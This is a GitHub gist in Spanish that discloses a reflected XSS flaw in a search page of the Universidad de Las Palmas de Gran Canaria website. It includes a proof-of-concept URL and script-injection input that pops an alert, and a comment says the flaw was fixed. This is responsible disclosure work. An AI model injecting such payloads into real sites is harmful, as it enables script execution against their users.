Skip to content

Instantly share code, notes, and snippets.

@MiguelBel

MiguelBel/ULPGC.es

Last active August 29, 2015 14:05
Show Gist options
  • Save MiguelBel/65ab8cdd032c415b9edd to your computer and use it in GitHub Desktop.
Save MiguelBel/65ab8cdd032c415b9edd to your computer and use it in GitHub Desktop.
Download ZIP
XSS in spanish university Universidad Las Palmas De Gran Canaria
Raw
ULPGC.es
Hola, he encontrado una vulnerabilidad en su web que permite ejecutar código javascript. Solucionarlo es fácil ya que simplemente tienen que escapar correctamente los caracteres.
La prueba de concepto es:
URL => http://ulpgc.es/index.php?pagina=busqueda&ver=google&cx=015287457728437169121%3Awsqhyz0xz24&cof=FORID%3A10%3BNB%3A1&ie=ISO-8859-1&q=holahola%22%3E%3Cscript%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3B%3C%2Fscript%3E%3Cclass%3D%22no&sa=Buscar
Poner holahola"><script>alert(String.fromCharCode(88,83,83));</script><class="no en el formulario de la parte superior.
Un saludo.
@MiguelBel
Copy link
Author

Answered and solved 👍

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment